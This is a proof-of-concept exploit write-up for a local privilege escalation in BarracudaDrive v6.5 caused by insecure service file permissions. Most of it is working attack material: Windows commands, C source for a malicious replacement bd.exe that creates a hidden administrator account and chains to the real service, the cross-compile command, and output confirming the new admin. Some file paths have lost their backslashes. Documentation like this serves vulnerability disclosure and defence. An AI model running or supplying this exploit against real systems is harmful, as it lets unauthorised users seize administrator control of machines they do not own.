# CWE-276: Incorrect Default Permissions
# CWE-732: Incorrect Permission Assignment for Critical Resource
# Vulnerability Description:
# Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5
# allows local attackers to escalate privileges to admin via replacing the bd.exe file and
# restarting the computer where the malicious code will be executed as 'LocalSystem' on
# the next startup automatically.

## Local Privilege Escalation Proof of Concept
#0. Download & install
#1. Create low privileged user & change to the user
## As admin
C:>net user lowpriv Password123! /add
C:>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name lowpriv
Local Group Memberships *Users
Global Group memberships *None
#2. Move the Service EXE to a new name
C:d>whoami
desktoplowpriv
C:d>move bd.exe bd.service.exe
1 file(s) moved.
#3. Create malicious binary on kali linux
## Add Admin User C Code
kali# cat addAdmin.c
int main(void){
system("net user boku mypassword /add");
system("net localgroup Administrators boku /add");
WinExec("C:\bd\bd.service.exe",0);
return 0;
}
## Compile Code
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe
#4. Transfer created 'bd.exe' to the Windows Host
#5. Move the created 'bd.exe' binary to the 'C:d' Folder
C:d>move C:UserslowprivDownloadsd.exe .
#6. Check that exploit admin user doesn't exit
C:d>net user boku
The user name could not be found
#6. Reboot the Computer
C:d>shutdown /r
#7. Login & look at that new Admin
C:Userslowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"
User name boku
Local Group Memberships *Administrators *Users
Global Group memberships *None
